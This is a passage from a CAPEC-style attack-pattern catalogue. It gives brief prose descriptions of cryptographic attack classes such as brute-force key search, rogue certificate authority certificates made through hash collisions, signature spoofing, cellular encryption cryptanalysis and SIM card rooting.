An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).